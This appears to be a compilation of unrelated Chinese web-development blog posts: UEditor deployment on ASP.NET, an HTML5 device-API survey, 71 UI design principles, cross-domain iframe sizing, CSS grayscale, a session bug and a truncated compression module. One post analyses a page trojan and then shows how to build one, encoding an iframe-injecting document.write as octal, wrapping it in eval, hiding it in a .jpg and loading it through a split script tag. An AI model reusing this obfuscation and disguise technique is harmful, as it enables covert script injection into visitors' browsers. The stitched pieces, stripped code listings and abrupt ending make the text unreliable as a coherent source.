在 ASP.NET Core 或 ASP.NET 5 中部署百度编辑器请跳转此文。
本文记录百度编辑器 ASP.NET 版的部署过程，对其它语言版本也有一定的参考价值。
【2020.02.21 重新整理】
下载
从 GitHub 下载最新发布版本：https://github.com/fex-team/ueditor/releases
按编码分有 gbk 和 utf8 两种版本，按服务端编程语言分有 asp、jsp、net、php 四种版本，按需下载。
目录介绍
以 v1.4.3.3 utf8-net 为例，
客户端部署
本例将上述所有目录和文件拷贝到网站目录 /libs/ueditor/ 下。
当然也可以引用 CDN 静态资源，但会遇到诸多跨域问题，不建议。
在内容编辑页面引入：
<script src="/libs/ueditor/ueditor.config.js"></script>
<script src="/libs/ueditor/ueditor.all.min.js"></script>在内容显示页面引入：
<script src="/libs/ueditor/ueditor.parse.min.js"></script>如需修改编辑器资源文件根路径，参 ueditor.config.js 文件内顶部文件。（一般不需要单独设置）
如果使用 CDN，那么在初始化 UE 实例的时候应配置 serverUrl 值（即 controller.ashx 所在路径）。
客户端配置
初始化 UE 实例：
var ue = UE.getEditor('tb_content', {
// serverUrl: '/libs/ueditor/net/controller.ashx', // 指定服务端接收文件路径
initialFrameWidth: '100%'
});其它参数见官方文档，或 ueditor.config.js 文件。
服务端部署
net 目录是 ASP.NET 版的服务端程序，用来实现接收上传的文件等功能。
本例中在网站中的位置是 /libs/ueditor/net/。如果改动了位置，那么在初始化 UE 的时候也应该配置 serverUrl 值。
这是一个完整的 VS 项目，可以单独部署为一个网站。其中：
net/config.json 服务端配置文件
net/controller.ashx 文件上传入口
net/App_Code/CrawlerHandler.cs 远程抓图动作
net/App_Code/ListFileManager.cs 文件管理动作
net/App_Code/UploadHandler.cs 上传动作
该目录不需要转换为应用程序。
服务端配置
根据 config.json 中 *PathFormat 的默认配置，一般地，上传的图片会保存在 controller.ashx 文件所在目录（即本例中的 /libs/ueditor/）的 upload 目录中：
/libs/ueditor/upload/image/
原因是 UploadHandler.cs 中 Server.MapPath 的参数是由 *PathFormat 决定的。
以修改 config.json 中的 imagePathFormat 为例：
原值："imagePathFormat": "upload/image/{yyyy}{mm}{dd}/{time}{rand:6}"
改为："imagePathFormat": "/upload/ueditor/{yyyy}{mm}{dd}/{time}{rand:6}"
以“/”开始的路径在 Server.MapPath 时会定位到网站根目录。
此处不能以“~/”开始，因为最终在客户端显示的图片路径是 imageUrlPrefix + imagePathFormat，若其中包含符号“~”就无法正确显示。
在该配置文件中查找所有 PathFormat，按相同的规则修改。
说到客户端的图片路径，我们只要将
原值："imageUrlPrefix": "/ueditor/net/"
改为："imageUrlPrefix": ""
即可返回客户端正确的 URL。
当然也要同步修改 scrawlUrlPrefix、snapscreenUrlPrefix、catcherUrlPrefix、videoUrlPrefix、fileUrlPrefix。
特殊情况，在复制包含图片的网页内容的操作中，若图片地址带“?”等符号，会出现无法保存到磁盘的情况，需要修改以下代码：
打开 CrawlerHandler.cs 文件，找到
ServerUrl = PathFormatter.Format(Path.GetFileName(this.SourceUrl), Config.GetString("catcherPathFormat"));替换成：
ServerUrl = PathFormatter.Format(Path.GetFileName(SourceUrl.Contains("?") ? SourceUrl.Substring(0, SourceUrl.IndexOf("?")) : SourceUrl), Config.GetString("catcherPathFormat"));如果你将图片保存到第三方图库，那么 imageUrlPrefix 值设为相应的域名即可，如：
改为："imageUrlPrefix": "//cdn.***.com"
然后在 UploadHandler.cs 文件（用于文件上传）中找到
File.WriteAllBytes(localPath, uploadFileBytes);在其下方插入上传到第三方图库的代码，以阿里云 OSS 为例：
// 上传到 OSS
client.PutObject(bucketName, savePath.Substring(1), localPath);在 CrawlerHandler.cs 文件（无程抓图上传）中找到
File.WriteAllBytes(savePath, bytes);在其下方插入上传到第三方图库的代码，以阿里云 OSS 为例：
// 上传到 OSS
client.PutObject(bucketName, ServerUrl.Substring(1), savePath);最后有还有两个以 UrlPrefix 结尾的参数名 imageManagerUrlPrefix 和 fileManagerUrlPrefix 分别是用来列出上传目录中的图片和文件的，
对应的操作是在编辑器上的“多图上传”功能的“在线管理”，和“附件”功能的“在线附件”。
最终列出的图片路径是由 imageManagerUrlPrefix + imageManagerListPath + 图片 URL 组成的，那么：
"imageManagerListPath": "/upload/ueditor/image",
"imageManagerUrlPrefix": "",
以及：
"fileManagerListPath": "/upload/ueditor/file",
"fileManagerUrlPrefix": "",
即可。
如果是上传到第三方图库的，且图库上的文件与本地副本是一致的，那么将 imageManagerUrlPrefix 和 fileManagerUrlPrefix 设置为图库域名，
服务端仍然以 imageManagerListPath 指定的路径来查找本地文件（非图库），但客户端显示图库的文件 URL。
因此，如果文件仅存放在图库上，本地没有副本的情况就无法使用该功能了。
综上，所有的 *UrlPrefix 应该设为一致。
另外记得配置不希望被远程抓图的域名，参数 catcherLocalDomain。
服务端授权
现在来判断一下只有登录用户才允许上传。
首先打开服务端的统一入口文件 controller.ashx，
继承类“IHttpHandler”改为“IHttpHandler, System.Web.SessionState.IRequiresSessionState”，即同时继承两个类，以便可使用 Session，
找到“switch”，其上插入：
if (用户未登录) { throw new System.Exception("请登录后再试"); }即用户已登录或 action 为获取 config 才进入 switch。然后，
else
{
action = new NotAllowedHandler(context);
}这里的 NotAllowedHandler 是参照 NotSupportedHandler 创建的，提示语 state 可以是“登录后才能进行此操作。”
上传目录权限设置
上传目录（即本例中的 /upload/ueditor/ 目录）应设置允许写入和禁止执行。
基本用法
设置内容：
ue.setContent("Hello world.");获取内容：
var a = ue.getContent();更多用法见官方文档：http://fex.baidu.com/ueditor/#api-common
其它事宜
配置上传附件的文件格式
找到文件：config.json，更改“上传文件配置”的 fileAllowFiles 项，
同时在 Web 服务器上允许这些格式的文件可访问权限。以 IIS 为例，在“MIME 类型”模块中添加扩展名。
遇到从客户端(......)中检测到有潜在危险的 Request.Form 值。请参考此文
另外，对于不支持上传 .webp 类型的图片的问题，可以作以下修改：
config.json 中搜索“".bmp"”，替换为“".bmp", ".webp"”
IIS 中选中对应网站或直接选中服务器名，打开“MIME 类型”，添加，文件扩展名为“.webp”，MIME 类型为“image/webp”
最后，为了在内容展示页面看到跟编辑器中相同的效果，请参照官方文档引用 uParse
若有插入代码，再引用：
<link href="/lib/ueditor/utf8-net/third-party/SyntaxHighlighter/shCoreDefault.css" rel="stylesheet" />
<script src="/lib/ueditor/utf8-net/third-party/SyntaxHighlighter/shCore.js"></script>
其它插件雷同。
若对编辑器的尺寸有要求，在初始化时设置即可：
var ue = UE.getEditor('tb_content', {
initialFrameWidth: '100%',
initialFrameHeight: 320
});
编者按：今天腾讯万技师同学的这篇技术总结必须强烈安利下，目录清晰，层次分明，每个接口都有对应的简介、系统要求、实例、核心代码以及超实用的思维发散，帮你直观把这些知识点get起来。以现在HTML 5的势头，同志们，你看到的这些，可都是钱呐。
十二年前，无论多么复杂的布局，在我们神奇的table面前，都不是问题；
十年前，阿捷的一本《网站重构》，为我们开启了新的篇章；
八年前，我们研究yahoo.com，惊叹它在IE5下都表现得如此完美；
六年前，Web标准化成了我们的基础技能，我们开始研究网站性能优化；
四年前，我们开始研究自动化工具，自动化测试，谁没玩过nodejs都不好意思说是页面仔；
二年前，各种终端风起云涌，响应式、APP开发都成为了我们研究的范围，CSS3动画开始风靡；
如今，CSS3动画、Canvas、SVG、甚至webGL你已经非常熟悉，你是否开始探寻，接下来，我们可以玩什么，来为我们项目带来一丝新意？
没错，本文就是以HTML5 Device API为核心，对HTML5的一些新接口作了一个完整的测试，希望能让大家有所启发。
目录：
一、让音乐随心而动 – 音频处理 Web audio API
二、捕捉用户摄像头 – 媒体流 Media Capture
三、你是逗逼？ – 语音识别 Web Speech API
四、让我尽情呵护你 – 设备电量 Battery API
五、获取用户位置 – 地理位置 Geolocation API
六、把用户捧在手心 – 环境光 Ambient Light API
七、陀螺仪 Deviceorientation
八、Websocket
九、NFC
十、震动 - Vibration API
十一、网络环境 Connection API
一、让音乐随心而动 – 音频处理 Web audio API
简介：
Audio对象提供的只是音频文件的播放，而Web Audio则是给了开发者对音频数据进行分析、处理的能力，比如混音、过滤。
系统要求：
ios6+、android chrome、android firefox
实例：
http://sy.qq.com/brucewan/device-api/web-audio.html
核心代码：
var context = new webkitAudioContext();
var source = context.createBufferSource(); // 创建一个声音源
source.buffer = buffer; // 告诉该源播放何物
createBufferSourcesource.connect(context.destination); // 将该源与硬件相连
source.start(0); //播放
技术分析：
当我们加载完音频数据后，我们将创建一个全局的AudioContext对象来对音频进行处理，AudioContext可以创建各种不同功能类型的音频节点AudioNode，比如
1、源节点（source node）
我们可以使用两种方式加载音频数据：
<1>、audio标签
var sound, audio = new Audio();
audio.addEventListener('canplay', function() {
sound = context.createMediaElementSource(audio);
sound.connect(context.destination);
});
audio.src = '/audio.mp3';
<2>、XMLHttpRequest
var sound, context = createAudioContext();
var audioURl = '/audio.mp3'; // 音频文件URL
var xhr = new XMLHttpRequest();
xhr.open('GET', audioURL, true);
xhr.responseType = 'arraybuffer';
xhr.onload = function() {
context.decodeAudioData(request.response, function (buffer) {
source = context.createBufferSource();
source.buffer = buffer;
source.connect(context.destination);
}
}
xhr.send();
2、分析节点（analyser node）
我们可以使用AnalyserNode来对音谱进行分析，例如：
var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
var analyser = audioCtx.createAnalyser();
analyser.fftSize = 2048;
var bufferLength = analyser.frequencyBinCount;
var dataArray = new Uint8Array(bufferLength);
analyser.getByteTimeDomainData(dataArray);
function draw() {
drawVisual = requestAnimationFrame(draw);
analyser.getByteTimeDomainData(dataArray);
// 将dataArray数据以canvas方式渲染出来
};
draw();
3、处理节点（gain node、panner node、wave shaper node、delay node、convolver node等）
不同的处理节点有不同的作用，比如使用BiquadFilterNode调整音色（大量滤波器）、使用ChannelSplitterNode分割左右声道、使用GainNode调整增益值实现音乐淡入淡出等等。
需要了解更多的音频节点可能参考：
https://developer.mozilla.org/en-US/docs/Web/API/Web_Audio_API
4、目的节点（destination node）
所有被渲染音频流到达的最终地点
思维发散：
1、可以让CSS3动画跟随背景音乐舞动，可以为我们的网页增色不少；
2、可以尝试制作H5酷酷的变声应用，增加与用户的互动；
3、甚至可以尝试H5音乐创作。
看看google的创意：http://v.youku.com/v_show/id_XNTk0MjQyNDMy.html
二、捕捉用户摄像头 – 媒体流 Media Capture
简介：
通过getUserMedia捕捉用户摄像头获取视频流和通过麦克风获取用户声音。
系统要求：
android chrome、android firefox
实例：
捕获用户摄像头 捕获用户麦克风
http://sy.qq.com/brucewan/device-api/camera.html
http://sy.qq.com/brucewan/device-api/microphone-usermedia.html
核心代码：
1、摄像头捕捉
navigator.webkitGetUserMedia ({video: true}, function(stream) {
video.src = window.URL.createObjectURL(stream);
localMediaStream = stream;
}, function(e){
})
2、从视频流中拍照
btnCapture.addEventListener('touchend', function(){
if (localMediaStream) {
canvas.setAttribute('width', video.videoWidth);
canvas.setAttribute('height', video.videoHeight);
ctx.drawImage(video, 0, 0);
}
}, false);
3、用户声音录制
navigator.getUserMedia({audio:true}, function(e) {
context = new audioContext();
audioInput = context.createMediaStreamSource(e);
volume = context.createGain();
recorder = context.createScriptProcessor(2048, 2, 2);
recorder.onaudioprocess = function(e){
recordingLength += 2048;
recorder.connect (context.destination);
}
}, function(error){});
4、保存用户录制的声音
var buffer = new ArrayBuffer(44 + interleaved.length * 2);
var view = new DataView(buffer);
fileReader.readAsDataURL(blob); // android chrome audio不支持blob
… audio.src = event.target.result;
思维发散：
1、从视频拍照自定义头像；
2、H5视频聊天；
3、结合canvas完成好玩的照片合成及处理；
4、结合Web Audio制作有意思变声应用。
三、你是逗逼？ – 语音识别 Web Speech API简介：
1、将文本转换成语音；
2、将语音识别为文本。
系统要求：
ios7+，android chrome，android firefox
测试实例：
http://sy.qq.com/brucewan/device-api/microphone-webspeech.html
核心代码：
1、文本转换成语音，使用SpeechSynthesisUtterance对象；
var msg = new SpeechSynthesisUtterance();
var voices = window.speechSynthesis.getVoices();
msg.volume = 1; // 0 to 1
msg.text = ‘识别的文本内容’;
msg.lang = 'en-US';
speechSynthesis.speak(msg);
2、语音转换为文本，使用SpeechRecognition对象。
var newRecognition = new webkitSpeechRecognition();
newRecognition.onresult = function(event){
var interim_transcript = '';
for (var i = event.resultIndex; i < event.results.length; ++i) {
final_transcript += event.results[i][0].transcript;
}
};
测试结论：
1、Android支持不稳定；语音识别测试失败（暂且认为是某些内置接口被墙所致）。
思维发散：
1、当语音识别成为可能，那声音控制将可以展示其强大的功能。在某些场景，比如开车、网络电视，声音控制将大大改善用户体验；
2、H5游戏中最终分数播报，股票信息实时声音提示，Web Speech都可以大放异彩。
四、让我尽情呵护你 – 设备电量 Battery API简介：
查询用户设备电量及是否正在充电。
系统要求：
android firefox
测试实例：
http://sy.qq.com/brucewan/device-api/battery.html
核心代码：
var battery = navigator.battery || navigator.webkitBattery || navigator.mozBattery || navigator.msBattery;
var str = '';
if (battery) {
str += '<p>你的浏览器支持HTML5 Battery API</p>';
if(battery.charging) {
str += '<p>你的设备正在充电</p>';
} else {
str += '<p>你的设备未处于充电状态</p>';
}
str += '<p>你的设备剩余'+ parseInt(battery.level*100)+'%的电量</p>';
} else {
str += '<p>你的浏览器不支持HTML5 Battery API</p>';
}
测试结论：
1、QQ浏览器与UC浏览器支持该接口，但未正确显示设备电池信息；
2、caniuse显示android chrome42支持该接口，实测不支持。
思维发散：
相对而言，我觉得这个接口有些鸡肋。
很显然，并不合适用HTML5做电池管理方面的工作，它所提供的权限也很有限。
我们只能尝试做一些优化用户体验的工作，当用户设备电量不足时，进入省电模式，比如停用滤镜、摄像头开启、webGL、减少网络请求等。
五、获取用户位置 – 地理位置 Geolocation简介：
Geolocation API用于将用户当前地理位置信息共享给信任的站点，目前主流移动设备都能够支持。
系统要求：
ios6+、android2.3+
测试实例：
http://sy.qq.com/brucewan/device-api/geolocation.html
核心代码：
var domInfo = $("#info");
// 获取位置坐标
if (navigator.geolocation) {
navigator.geolocation.getCurrentPosition(showPosition,showError);
}
else{
domInfo.innerHTML="抱歉，你的浏览器不支持地理定位！";
}
// 使用腾讯地图显示位置
function showPosition(position) {
var lat=position.coords.latitude;
var lon=position.coords.longitude;
mapholder = $('#mapholder')
mapholder.style.height='250px';
mapholder.style.width = document.documentElement.clientWidth + 'px';
var center = new soso.maps.LatLng(lat, lon);
var map = new soso.maps.Map(mapholder,{
center: center,
zoomLevel: 13
});
var geolocation = new soso.maps.Geolocation();
var marker = null;
geolocation.position({}, function(results, status) {
console.log(results);
var city = $("#info");
if (status == soso.maps.GeolocationStatus.OK) {
map.setCenter(results.latLng);
domInfo.innerHTML = '你当前所在城市: ' + results.name;
if (marker != null) {
marker.setMap(null);
}
// 设置标记
marker = new soso.maps.Marker({
map: map,
position:results.latLng
});
} else {
alert("检索没有结果，原因: " + status);
}
});
}
测试结论：
1、Geolocation API的位置信息来源包括GPS、IP地址、RFID、WIFI和蓝牙的MAC地址、以及GSM/CDMS的ID等等。规范中没有规定使用这些设备的先后顺序。
2、初测3g环境下比wifi环境理定位更准确；
3、测试三星 GT-S6358(android2.3) geolocation存在，但显示位置信息不可用POSITION_UNAVAILABLE。
六、把用户捧在手心 – 环境光 Ambient Light简介：
Ambient Light API定义了一些事件，这些时间可以提供源于周围光亮程度的信息，这通常是由设备的光感应器来测量的。设备的光感应器会提取出辉度信息。
系统要求：
android firefox
测试实例：
http://sy.qq.com/brucewan/device-api/ambient-light.html
核心代码：
这段代码实现感应用前当前环境光强度，调整网页背景和文字颜色。
var domInfo = $('#info');
if (!('ondevicelight' in window)) {
domInfo.innerHTML = '你的设备不支持环境光Ambient Light API';
} else {
var lightValue = document.getElementById('dl-value');
window.addEventListener('devicelight', function(event) {
domInfo.innerHTML = '当前环境光线强度为：' + Math.round(event.value) + 'lux';
var backgroundColor = 'rgba(0,0,0,'+(1-event.value/100) +')';
document.body.style.backgroundColor = backgroundColor;
if(event.value < 50) {
document.body.style.color = '#fff'
} else {
document.body.style.color = '#000'
}
});
}
思维发散：
该接口适合的范围很窄，却能做出很贴心的用户体验。
1、当我们根据Ambient Light强度、陀螺仪信息、当地时间判断出用户正躺在床上准备入睡前在体验我们的产品，我们自然可以调整我们背景与文字颜色让用户感觉到舒适，我们还可以来一段安静的音乐，甚至使用Web Speech API播报当前时间，并说一声“晚安”，何其温馨；
2、该接口也可以应用于H5游戏场景，比如日落时分，我们可以在游戏中使用安静祥和的游戏场景；
3、当用户在工作时间将手机放在暗处，偷偷地瞄一眼股市行情的时候，我们可以用语音大声播报，“亲爱的，不用担心，你的股票中国中车马上就要跌停了”，多美的画面。
参考文献：
https://developer.mozilla.org/en-US/docs/Web/API
http://webaudiodemos.appspot.com/
http://www.w3.org/2009/dap/
去年，我们分享了《40个良好用户界面Tips》，对设计师来说确实很有帮助，今年，Goodui.org已经更新至71条，这些原则都是由Goodui官方精心整理，认为这些都是非常重要的设计要点，所以对于设计师来说，建议学习一下。
01 尝试使用一列的布局替代多列布局
02 给用户一些小的利益，别看上去那么赤裸裸
03 合并相似的功能
04 尝试展示来自用户的赞扬，而不是自我表扬
05 重复核心行动点
06 统一视觉规范，提升可识别性
07 尝试使用推荐的口吻，而不是让用户感觉面对一台冷冰冰的机器
08 给用户吃「后悔药」的机会
09 告诉用户产品适用的人群，而不是人人都通用
10 将文案写得更加的直接，而不是一堆废话
11 增强主行动点的视觉冲击力，提升它在页面中的可对比性
12 让用户知道你从哪儿来更易于拉近与用户的关系
13 将表单做的简单点，确保用户在抓狂之前能进入下一步
14 尽量将用户需要选择的信息展示出来而不是藏起来
15 页面的排版需要考虑用户是否会漏掉底部信息
16 如果页面的底部有需要关注的行动点，别让文中过多的外链带走了用户
17 确保用户知道自己目前的状态
18 将利益点融合在行动点中，增强用户的点击欲望
19 将行动点与当前信息结合起来
20 将简要的表单合并到页面中，减少调整页面带来的用户流失
21 适当的增加延迟动效，让用户感知到页面的变化
22 让新用户从尝试产品入手，而不是一来就面对冷冰冰的注册表单
23 减少使用线框，这会过多的吸引用户注意力，而且会让页面看上去透不过气
24 给用户推销你能给他带来的利益，而不是功能
25 一定要注意0结果页面的设计，这也是引导用户的好地方
26 给用户选择退出的权利，特别是邮件订阅
27 注意界面元素的一致性，降低用户学习成本
28 给下拉框增加一些预设值，降低用户填写成本
29 延续用户日常的使用习惯，而不是重新创造
30 尝试告诉用做些事情降低自己的损失，而不是提升收益
31 提升页面的视觉层次，增强可阅读性
32 将同类的操作合并在一起，降低用户的认知成本
33 表单及时校验，而不是统一提交后在告诉用户填错了
34 尝试将表单输入变得更加宽容，让用户的填写更加简单
35 通过时间增强紧迫感
36 提供用户可预见性的操作，降低用户的心理成本
37 尽可能的帮助用户选择，而不是让用户想破脑袋
38 尽可能将操作区域放大，降低用户操作成本
39 页面加载速度很重要，尽可能让用户感受到你的网站速度很快
40 如果可以，增加键盘快捷键，提升操作效率
41 尝试通过对比来让用户感知到性价比
42 尝试对进度条进行「设计」来降低用户等待的焦虑
43 根据用户选择逐步展示信息，降低无效信息对用户的干扰
44 有时候较小的承诺比「夸海口」会更容易让用户信服
45 尝试将提示信息弱化，减少对用户操作的干扰
46 尽量通过系统的功能来简化用户的操作
47 用文本配合图标来降低用户的认知成本
48 用更自然的语言代替冷冰冰的机器
49 放出一些摘要信息来帮助用户识别是否需要进一步了解
50 在关键的页面增加用户权益信息，增强用户进一步操作的信心
51 将价格进行换算，让用户感觉这很便宜
52 记得在成功页面感谢用户
53 将数字转化成易于用户阅读的形式，而不是冷冰冰的机器语言
54 告诉用户选择的权利和自由「诱惑力」
55 尝试让语言更具「诱惑力」
56 通过设计引导用户的注意力
57 通过友好的对比来展示产品，为用户做决定提供帮助
58 通过任务机制来提升用户的满足感
59 让用户了解接下来将要发生什么事情
60 尝试用更幽默一些的语言文案
61 任何操作之后都要给出反馈，让用户知道操作已经生效
62 注意动效的真实使用情况（Amazon 的类目菜单就是一个很好的例子）
63 注意排版的，不要让信息过于拥挤
64 尝试用讲故事的方式来传递信息，增强用户的代入感
65 尽量给用户展示真实的信息，不要欺骗
66 随着用户的不断熟悉简化界面
67 试着用用户的口吻展示信息
68 在表单中增加一些提示信息，减少错误的几率
69 用简单的文案传递核心关注的信息，少一些废话
70 尝试使用响应式布局
71 视觉表达要清晰，而不是模棱两可
这71条设计原则虽然针对 Web 设计，但有些部分在移动产品设计中同样有效。翻译过程只保留了图片和标题，更多详细内容可以访问 GoodUI 官网：
http://goodui.org/
1. 跨子域的iframe高度自适应
2. 完全跨域的iframe高度自适应
同域的我们可以轻松的做到
1. 父页面通过iframe的contentDocument或document属性访问到文档对象，进而可以取得页面的高度，通过此高度值赋值给iframe tag。
2. 子页面可以通过parent访问到父页面里引入的iframe tag，进而设置其高度。
但跨域的情况则不允许对子页面或父页面的文档进行访问（返回undefined），所以我们要做的就是打通或间接打通这个壁垒。
一、跨子域的iframe高度自适应
比如 'a.jd.com/3.html' 嵌入了 'b.jd.com/4.html'，这种跨子域的页面
3.html
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
|
4.html
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
|
可以看到与上一篇对比，只要在两个页面里都加上document.domain就可以了
二、完全跨域的iframe高度自适应
分别有以下资源
- 页面 A：http://snandy.github.io/lib/iframe/A.html
- 页面 B：http://snandy.github.io/lib/iframe/B.html
- 页面 C：http://snandy.jd-app.com
- D.js：http://snandy.github.io/lib/iframe/D.js
这四个资源有如下关系
1. A里嵌入C，A和C是不同域的，即跨域iframe
2. C里嵌入B，C和B是不同域的，但A和B是同域的
3. C里嵌入D.js，D.js放在和A同域的项目里
通过一个间接方式实现，即通过一个隐藏的B.html来实现高度自适应。
A.html
嵌入页面C: http://snandy.jd-app.com
|
1 2 3 4 5 6 7 8 9 10 |
|
B.html
嵌入在C页面中，它是隐藏的，通过parent.parent访问到A，再改变A的iframe(C.html)高度，这是最关键的，因为A，B是同域的所以可以访问A的文档对象等。
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
|
C.html
嵌入在A中，和A不同域，要实现C的自适应，C多高则A里的iframe就设为多高。C里嵌入B.html 和 D.js
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
|
D.js
在页面C载入后计算其高度，然后将计算出的height赋值给C里引入的iframe（B.html）的src
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
|
线上示例：http://snandy.github.io/lib/iframe/A.html
今天访问某 asp 网站时发现不对劲，一看源文件原来网页被挂马了，仔细查看源代码发现：
<script>document.write("<scri");</script>pt src="images/banner.jpg"></script>
这段代码调用了 banner.jpg 这个 js 文件。用记事本打开这个文件发现以下内容：（木马内容已替换成安全内容）
eval("\144\157\143\165\155\145\156\164\56\167\162\151\164\145\50\47\74\151\146\162\141\155\145\40\163\162\143\75\150\164\164\160\72\57\57\170\157\171\157\172\157\56\155\145\76\74\57\151\146\162\141\155\145\76\47\51")
代码非常整齐，立刻怀疑是 ascii 码的八进制代码。于是解码之，就看到了：（木马内容已替换成安全内容）
document.write('<iframe src=https://xoyozo.net></iframe>')
至此，整个流程已非常清晰了。
八进制转化为十进制
var a = '144'; alert(parseInt(a, 8)); // 输出为 100
十进制转化为八进制
var a = 100; alert(a.toString(8)); // 输出为 144
ASCII 码转化为字符
var a = 100; alert(String.fromCharCode(a)); // 输出为 d
字符转化为 ASCII 码
var a = "d"; alert(a.charCodeAt(a)); // 输出为 100
如果用 alert 直接输出编码后的代码，看到的却是原码，下面提供HTML编码和解码：
function HTMLEncode(input) {
var converter = document.createElement("DIV");
converter.innerText = input;
var output = converter.innerHTML;
converter = null;
return output;
}
function HTMLDecode(input) {
var converter = document.createElement("DIV");
converter.innerHTML = input;
var output = converter.innerText;
converter = null;
return output;
}
您可以比较一下区别：
var a = "document.write('<iframe src=https://xoyozo.net></iframe>')";
document.write(a);
var a = "document.write('<iframe src=https://xoyozo.net></iframe>')";
document.write(HTMLEncode(a));
现在完全可以实现宿主页面执行嵌套 iframe 的效果了。如果需要更隐蔽，可以给 <iframe/> 加上尺寸属性。下面一起来制作一个简单的木马：把
document.write('<iframe src=https://xoyozo.net></iframe>')
编码为
\144\157\143\165\155\145\156\164\56\167\162\151\164\145\50\47\74\151\146\162\141\155\145\40\163\162\143\75\150\164\164\160\72\57\57\170\157\171\157\172\157\56\155\145\76\74\57\151\146\162\141\155\145\76\47\51
的代码为
var a = "document.write('<iframe src=https://xoyozo.net></iframe>')";
var b = "";
for (var i = 0; i < a.length; i++) {
b += "\\" + a.charCodeAt(i).toString(8);
}
document.write(HTMLEncode(b));
然后加上 eval() 方法，保存为 .jpg 文件，再通过文章开始介绍的方法调用就行了。
使网页变灰色，只需要一句 css 代码：
html { filter: grayscale(1); }在 I10 / IE11 上的兼容方案需要 grayscale.js，参考此文：http://www.cnblogs.com/wangmeijian/p/4324693.html
CSS 背景图片变灰：https://stackoverflow.com/questions/16340159/greyscale-background-css-images
今天算是长见识了，项目发布到服务器上面了，但是客户在使用的时候发现，只要进入新增页面和修改页面。再进行操作就会自动跳转到登陆页面（我设置了session保存用户登陆信息），而别的页面就不会出现这个问题。从下午开始找个问题，开始以为不知道只有这两个页面有问题，以为全部都是这样的问题，是IIS的设置问题。我将session的超时时间设置了3个小时，发现还是会跳转到登陆页面。也在web.config文件里面设置了超时时间。但是效果还是一样的。自己测试了一下午，发现只有新增页面和修改页面会出现这样的问题（本机测试没问题/测试服务器上测试也没问题）。经过几次实验，发现确实只有这两个页面会有问题，那就可以断定：不是IIS设置问题，也不是web.config的问题。本地调试也不出现这样的情况，没办法，只能等客户下班之后，没人用了才到正式服务器上去慢慢的调试，最后想个笨办法，将其中一个页面的.cs文件里面的代码一句一句的删掉，可没想到我都将cs文件里面的代码全部删除了，还是会出现这样的情况，我当时就纳闷了。不是事件的问题，难道是HTML页面出了问题？？？
既然耐着性子删了cs文件的代码。我就继续删！将aspx页面里面的HTML代码和JS代码也一个一个的删掉，一个一个控件删掉测试，从下午上班一直测试到晚上11点，眼睛都看花了，终于，在我将aspx页面的其中几个控件删除之后发现问题了！页面不跳转了！这下来劲了，肯定是这几个控件的原因，于是乎，我就一个一个控件还原回去，不跳转！继续还原！！当我还原到<img src="" >这个控件的时候测试，发现问题了！只要我一加上<img src="">这个标签！页面就跳转到登陆页面了。问题肯定出在这了！但是我又想不通了，为什么就这个HTML标签一加上就会出问题，这应该不关session什么事啊，怎么会加上这个标签页面就直接跳转了呢？
在网上找了下资料，没找到相关的资料，后来试着将img 标签的src=""加上图片，src="imges/001.jpg" 再测试，发现页面不跳转了！！原来问题出现在这里！
src=""为空的情况下，可能导致session丢失！跟经理说了下这个情况，他也很惊奇还没见过一个HTML标签会导致session丢失的情况，因为在本地和测试服务器上测试的时候都没这样的情况，后来猜测了下，可能是IIS的问题，可能是IIS解析的时候解析到src=""这个地方解析不了，导致程序出问题。但这只是个人猜测，正式服务器上我也没权力当时去打补丁，一个大公司的正式服务器，我要打补丁去了，那他们别的网站和系统不全当机了？所以就只要想了个办法，将src=""里面加上图片，幸好这个img标签是隐藏起来的，加了也不影响界面。呵呵。。。
最让人郁闷的是我测试的时候是用Symantec pcAnywhere这个软件远程连接到的正式服务器上。反应慢得可以，简直比电脑没装显卡驱动还慢...唉，不过累也累了，以后碰到这样的情况就有经验了。
我不知道网上有没有人碰到过跟我一样的情况；如果碰到了，希望能给你带来点灵感。哇哈哈。。。
我们只是对aspx页面进行压缩 ,当然也可以压缩js和css . 但你也想用来对图片也进行压缩的话就错了 ,效果和用winzip压缩图片一样, 只能增大体积.
首先来看看一个实例 aspx页面压缩前和压缩后的页面信息
压缩前
压缩后
可以看到压缩到原来页面大小的27% 效果还是可以的.
看看具体代码
CompressionModule
Code highlighting produced by Actipro CodeHighlighter (freeware)
http://www.CodeHighlighter.com/
-->#region Using
using System;
using System.Web;
using System.IO.Compression;
#endregion
namespace BlogEngine.Core.Web.HttpModules
{
/// <summary>
/// Compresses the output using standard gzip/deflate.
/// </summary>
public class CompressionModule : IHttpModule
{
#region IHttpModule Members
/// <summary>
/// Disposes of the resources (other than memory) used by the module
/// that implements <see cref="T:System.Web.IHttpModule"></see>.
/// </summary>
void IHttpModule.Dispose()
{
// Nothing to dispose;
}
/// <summary>
/// Initializes a module and prepares it to handle requests.
/// </summary>
/// <param name="context">An <see cref="T:System.Web.HttpApplication"></see>
/// that provides access to the methods, properties, and events common to
/// all application objects within an ASP.NET application.
/// </param>
void IHttpModule.Init(HttpApplication context)
{
if (BlogSettings.Instance.EnableHttpCompression)
context.BeginRequest += new EventHandler(context_BeginRequest);
}
#endregion
#region Compression
private const string GZIP = "gzip";
private const string DEFLATE = "deflate";
/// <summary>
/// Handles the BeginRequest event of the context control.
/// </summary>
/// <param name="sender">The source of the event.</param>
/// <param name="e">The <see cref="System.EventArgs"/> instance containing the event data.</param>
void context_BeginRequest(object sender, EventArgs e)
{
HttpApplication app = sender as HttpApplication;
//压缩aspx页面
if (app.Request.Url.OriginalString.ToUpperInvariant().Contains(".aspx"))
{
//是否支持压缩协议
if (IsEncodingAccepted(DEFLATE))
{
app.Response.Filter = new DeflateStream(app.Response.Filter, CompressionMode.Compress);
SetEncoding(DEFLATE);
}
else if (IsEncodingAccepted(GZIP))
{
app.Response.Filter = new GZipStream(app.Response.Filter, CompressionMode.Compress);
SetEncoding(GZIP);
}
}
}
/// <summary>
/// Checks the request headers to see if the specified
/// encoding is accepted by the client.
/// </summary>
private static bool IsEncodingAccepted(string encoding)
{
return HttpContext.Current.Request.Headers["Accept-encoding"] != null && HttpContext.Current.Request.Headers["Accept-encoding"].Contains(encoding);
}
/// <summary>
/// Adds the specified encoding to the response headers.
/// </summary>
/// <param name="encoding"></param>
